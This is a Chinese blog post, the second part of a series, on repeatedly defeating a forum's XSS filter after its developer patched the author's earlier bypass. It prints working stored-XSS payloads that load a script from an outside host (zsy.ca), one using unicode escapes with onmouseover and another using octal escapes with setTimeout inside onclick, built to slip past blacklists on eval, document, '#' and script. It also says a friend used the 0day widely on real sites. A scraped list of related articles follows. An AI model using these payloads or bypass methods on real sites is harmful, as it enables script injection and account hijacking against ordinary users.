第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)

<p onmouseover="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">  

针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:

1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)

要再次挑战一下这个程序员么?

一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:

1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。

然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。

因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了

<p onclick="">求助</p>

还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。

然后开始构造payload:

<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>

一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!

这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。

一次有趣的XSS漏洞挖掘分析(2)的更多相关文章

  1. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  2. 一次有趣的XSS漏洞挖掘分析(1)

    最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...

  3. (转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

      第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一 ...

  4. 一次有趣的XSS漏洞挖掘分析(3)最终篇

    这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事 ...

  5. (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

      这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...

  6. xss漏洞挖掘小结

    xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...

  7. 记一次隐秘的XSS漏洞挖掘

    前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...

  8. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  9. 记一次xss漏洞挖掘

    博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...

随机推荐

  1. Java 之 多线程编程

    1.线程: a.由来:单任务OS -- 多任务OS b.进程:每一个进程对应一个应用程序,分配独立内存空间 c.线程:线程是进程内部的一个独立的执行分支 d.特点:共享内容地址空间,切换成本更低 2. ...

  2. kafka producer源码

    producer接口: /** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor l ...

  3. LoadRunner性能测试执行过程的问题

    LoadRunner做性能测试 从设计到分析执行 执行测试并分析调优: 测试中报错的信息解决: 1. Failed to connect to server "域名:80": [1 ...

  4. express-13 中间件

    简介 从概念上讲,中间件是一种功能的封装方式,具体来说就是封装在程序中处理HTTP请求的功能. 中间件是在管道中执行的,在Express程序中,通过调用app.use向管道中插入中间件.(在Expre ...

  5. PHP 自带查询运行内存的函数

    memory_get_usage - 返回分配给 PHP 的内存量 int memory_get_usage ([ bool $real_usage = false ] ) 返回当前分配给你的 PHP ...

  6. 17996 Daily Cool Run (dp)

    时间限制:1000MS  内存限制:65535K 提交次数:0 通过次数:0 题型: 编程题   语言: 不限定 Description Daily Cool Run is a popular gam ...

  7. MapReduce 作业调试

    1. 最经典的方法通过打印语句来调试程序 System.err.println("Bad Data"+value.toString()); 这些输出错误都会记录到一个标准错误中,可 ...

  8. Python基础3- 变量与数字

    1.Python变量不需要声明,其赋值操作既是变量声明和定义的过程;2.Python中每个变量在使用前都必须赋值,变量赋值后该变量才会被创建;3.Python变量是存储内存中的值,若变量赋值时内存中存 ...

  9. Ue4全景图制作设想

    官方有个Scene Capture Cube与Cube Rander Target. 之后再想办法生成文件就好了吧

  10. Poj1131-Octal Fractions

    Octal Fractions Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 6669   Accepted: 3641 D ...